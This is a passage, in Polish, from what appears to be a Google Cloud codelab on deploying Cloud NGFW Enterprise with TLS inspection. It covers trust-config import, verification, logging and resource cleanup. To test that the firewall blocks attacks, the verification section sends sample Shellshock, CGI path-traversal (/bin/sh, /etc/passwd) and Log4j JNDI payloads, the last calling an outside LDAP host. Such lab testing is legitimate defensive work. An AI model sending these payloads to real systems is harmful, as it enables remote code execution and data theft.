      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZ
      ABCDEFGHIJKLMNOPQRS
      -----END CERTIFICATE-----

Zaimportuj konfigurację zaufania:

gcloud certificate-manager trust-configs import $prefix-trust-config --project=$project_id --location=$region --source=trust_config.yaml

Zaktualizuj plik YAML zasady TLS, aby zawierał konfigurację zaufania:

cat > tls_policy.yaml << EOF
description: Test tls inspection policy.
name: projects/$project_id/locations/$region/tlsInspectionPolicies/$prefix-tls-policy
caPool: projects/$project_id/locations/$region/caPools/$prefix-CA-Pool
excludePublicCaSet: false
minTlsVersion: TLS_1_1
tlsFeatureProfile: PROFILE_COMPATIBLE
trustConfig: projects/$project_id/locations/$region/trustConfigs/$prefix-trust-config
EOF

Zaimportuj zaktualizowaną zasadę TLS:

gcloud network-security tls-inspection-policies import $prefix-tls-policy --project=$project_id --location=$region --source=tls_policy.yaml

12. Weryfikowanie inspekcji TLS E/W

Wróć do klienta przez SSH, aby przetestować ruch E/W przy zaktualizowanej konfiguracji zaufania:

gcloud compute ssh $prefix-$zone-client --tunnel-through-iap --zone $zone

Uruchom przykładowe żądanie TLS do serwera:

curl https://$target_privateip --max-time 2

Jeśli nadal widzisz poniższe dane wyjściowe, poczekaj na rozpowszechnienie aktualizacji.

curl: (60) SSL certificate problem: self signed certificate
More details here: https://curl.se/docs/sslcerts.html

curl failed to verify the legitimacy of the server and therefore could not
establish a secure connection to it. To learn more about this situation and
how to fix it, please visit the web page mentioned above.

Oczekiwane dane wyjściowe:

Page on ngfw-enterprise-us-west1-b-www in network ngfw-enterprise-vpc zone $zone

Wyślij złośliwy ruch testowy do serwera:

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Content-Type: text/plain; echo; uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/user.sh -H 'FakeHeader:() { :; }; echo Content-Type: text/html; echo ; /bin/uname -a' --max-time 2

curl https://$target_privateip/cgi-bin/.%2e/.%2e/.%2e/.%2e/etc/passwd --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8055/a}' https://$target_privateip --max-time 2

curl -H 'User-Agent: ${jndi:ldap://123.123.123.123:8081/a}' https://$target_privateip --max-time 2

Oczekiwane dane wyjściowe:

curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104
curl: (56) OpenSSL SSL_read: Connection reset by peer, errno 104

Nie otrzymaliśmy żadnych odpowiedzi zgodnych z oczekiwaniami podanymi poniżej, co potwierdza, że przykładowe ataki dla środowiska E/W są teraz blokowane.

13. Logowanie

Otwórz Logowanie > Eksplorator logów w konsoli Cloud, wpisz filtr poniżej i wykonaj zapytanie dotyczące logów. Zastąp [PROJECT_ID] identyfikatorem projektu:

logName="projects/[PROJECT_ID]/logs/networksecurity.googleapis.com%2Ffirewall_threat"

Wpisy logu Cloud NGFW Enterprise powinny wyglądać podobnie do tego:

5b68cc1063c0f4bd.png

Rozwiń wpisy logu i zwróć uwagę, że ataki wysyłane z maszyny wirtualnej klienta na serwer zostały zidentyfikowane i zablokowane (luka w zabezpieczeniach Apache Log4j Remote Code Execution, jak widać na zrzucie ekranu poniżej).

478f18f8481e90ed.png

Udało Ci się wdrożyć Cloud NGFW Enterprise z inspekcją TLS do blokowania złośliwych żądań.

Przejdź do następnej sekcji, w której znajdziesz instrukcje czyszczenia.

14. Procedura czyszczenia

Czyszczenie konfiguracji podstawowej

Usuń te instancje:

gcloud -q compute instances delete $prefix-$zone-www --zone=$zone

gcloud -q compute instances delete $prefix-$zone-client --zone=$zone

Wykonaj te czynności, jeśli role tagAdmin i tagUsers zostały zmienione:

export user_id=$(gcloud auth list --format="value(account)")

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagAdmin

gcloud organizations remove-iam-policy-binding $org_id \
  --member user:$user_id --role roles/resourcemanager.tagUser

Usuń klucz i wartości tagu:

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-client

gcloud -q resource-manager tags values delete $project_id/$prefix-vpc-tags/$prefix-vpc-server

gcloud -q resource-manager tags keys delete $project_id/$prefix-vpc-tags

Usuń zasadę sieciową Cloud Firewall i powiązanie z nią:

gcloud -q compute network-firewall-policies associations delete \
     --firewall-policy $prefix-fwpolicy \
     --name $prefix-fwpolicy-association \
     --global-firewall-policy

gcloud -q compute network-firewall-policies delete $prefix-fwpolicy --global

Usuń router Cloud Router i Cloud NAT:

gcloud -q compute routers nats delete $prefix-cloudnat-$region \
   --router=$prefix-cr --router-region $region

gcloud -q compute routers delete $prefix-cr --region=$region

Usuń zarezerwowane adresy IP:

gcloud -q compute addresses delete $prefix-$region-cloudnatip --region=$region

SPG, powiązania i czyszczenie TLS

Usuń grupę profili zabezpieczeń i profil zagrożeń w tej kolejności:

gcloud -q network-security security-profile-groups delete \
  $prefix-spg \
  --organization $org_id \
  --location=global

gcloud -q network-security security-profiles threat-prevention \
  delete $prefix-sp-threat \
  --organization $org_id \
  --location=global

Usuń powiązanie punktu końcowego Cloud Firewall:

gcloud -q network-security firewall-endpoint-associations delete \
  $prefix-association --zone $zone

Usuń punkt końcowy Cloud Firewall, co może potrwać około 20 minut:

gcloud -q network-security firewall-endpoints delete $prefix-$zone --zone=$zone --organization $org_id

Opcjonalnie sprawdź, czy punkt końcowy Cloud NGFW został usunięty, uruchamiając to polecenie:

gcloud network-security firewall-endpoints list --zone $zone \
  --organization $org_id

Stan punktu końcowego powinien wyświetlać:

STATE: DELETING

Gdy skończysz, punkt końcowy nie będzie już wyświetlany.

Usuń zasadę TLS i konfigurację zaufania w tej kolejności:

gcloud -q network-security tls-inspection-policies delete \
  $prefix-tls-policy \
  --location=$region

gcloud -q alpha certificate-manager trust-configs delete \
  $prefix-trust-config \
  --location=$region

Wyłącz i usuń główny urząd certyfikacji oraz pulę urzędów certyfikacji:

gcloud -q privateca roots disable $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --ignore-dependent-resources 

gcloud -q privateca roots delete $prefix-CA-Root \
  --location=$region \
  --pool=$prefix-CA-Pool \
  --skip-grace-period \
  --ignore-active-certificates \
  --ignore-dependent-resources

gcloud -q privateca pools delete $prefix-CA-Pool \
  --location=$region \
  --ignore-dependent-resources

Czyszczenie podsieci i VPC

Na koniec usuń podsieć i sieć VPC:

gcloud -q compute networks subnets delete $prefix-$region-subnet --region $region

gcloud -q compute networks delete $prefix-vpc

15. Gratulacje!

Gratulujemy! Udało Ci się ukończyć szkolenie z programowania dotyczące inspekcji TLS w Cloud NGFW.